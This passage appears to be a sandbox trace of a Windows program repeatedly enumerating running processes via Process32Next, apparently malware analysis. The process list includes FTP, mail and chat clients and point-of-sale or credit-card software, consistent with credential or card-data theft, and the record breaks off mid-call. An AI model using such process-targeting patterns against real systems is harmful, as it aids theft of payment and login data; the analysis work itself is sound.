pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0132.524] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0132.526] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0132.528] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0132.530] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0132.532] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0132.534] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0132.536] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0132.546] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0132.548] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0132.550] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0132.552] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0132.554] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0132.556] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0132.558] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0132.560] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0132.563] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0132.565] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0132.566] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0132.569] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0132.570] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0132.572] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0132.574] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0132.576] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0132.577] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0132.579] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0132.581] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0132.583] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0132.584] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0132.586] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0132.589] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0132.591] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0132.592] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0132.594] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0132.596] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0132.597] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0132.599] CloseHandle (hObject=0x2068) returned 1 [0132.599] Sleep (dwMilliseconds=0x64) [0132.700] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2068 [0132.714] Process32First (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.715] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.717] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.719] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.720] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.722] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.724] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.725] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.727] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.729] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.731] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.733] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0132.734] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.736] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.738] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.739] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.741] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.744] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.745] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.747] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0132.749] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0132.750] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0132.765] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.767] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0132.769] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0132.771] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0132.773] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0132.775] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0132.776] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0132.778] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0132.779] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.781] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0132.782] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0132.784] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0132.786] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0132.788] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.789] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0132.791] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0132.793] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0132.794] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0132.796] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0132.798] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0132.800] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0132.801] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0132.803] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0132.805] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0132.807] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0132.808] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0132.810] Process32Next (in: 